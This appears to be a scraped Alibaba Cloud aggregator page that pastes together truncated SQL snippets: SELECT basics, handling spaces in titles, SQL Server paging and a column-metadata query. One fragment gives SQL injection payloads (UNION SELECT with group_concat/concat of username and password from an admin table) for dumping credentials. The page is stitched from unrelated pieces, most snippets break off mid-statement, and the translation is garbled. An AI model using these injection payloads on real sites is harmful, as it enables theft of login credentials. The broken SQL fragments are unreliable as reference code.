SELECT statement1. Select statement Query column (field):? ? SELECT ? ? From ? ? The statement uses two SQL clauses, the SELECT clause lists the names of the columns that you want to query from the table, and the FROM clause specifies the name of the table for the selected data;? ? Such as:? ? SELECT shohin_id, Shohin_mei, Shiire_tanka? ? From Shohin;?? ? SELECT
table_name= ' admin ' 5. Check the data (0x20 is the meaning of the space) Method One: Union Select Group_concat (Username,0x20,password), 2,3,4,5 from test.admin//displays all data on one line Method Two Union select Concat (Username,0x20,password), 2,3,4,5,6 from One.admin//Because the page limit displays only one row of data, the first row of data is displayed Union select Concat (Username,0x20,password), 2,3,4,5,6 from One.admin where username isn't in (' root ')//
anything. If you have one of the following tables:
Table name
ID URL Title Content1 www.111cn.net Li Yang Technology blog PHP Technology Blog2 www.anzhuo8.net my Laiyuan forum Laiyuan Local Forum3 www. Baidu Baidu4 brother Google Google a bit
In this table, the title section of the first and second records has a space, and if we don't know, or because of the inability of the content, there is a lot of uncertainty about whether or not there are spaces:
The code is as follows
Recently studied SQL paging query, summed up the following methods.
First set up a table, randomly inserted some of the test data, table structure and data as shown below:
Now let's say we're going to do 5 data per page, and now we're going to take the third page of data. (Too little data, 5 on each page)
Method One:
Select Top 5 * from
[studb].[ DBO]. [Scoreinfo]
where [SID] not in
(sel
SELECTTable name = D.name,Table Description = case when a.colorder=1 then IsNull (F.value, ') Else ' end,Field ordinal = A.colorder,Field name = A.name,Identification = case when ColumnProperty (A.id,a.name, ' isidentity ') =1 then ' √ ' Else ' end,Primary KEY = case when exists (SELECT 1 from sysobjects where xtype= ' PK ' and Parent_obj=a.id and name in (Select name from sysindexes WHERE indid in (SELECT indid from Sysindexkeys where id = a.id and colid=a.colid)) Then ' √ ' E LSE ' END,Type =
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.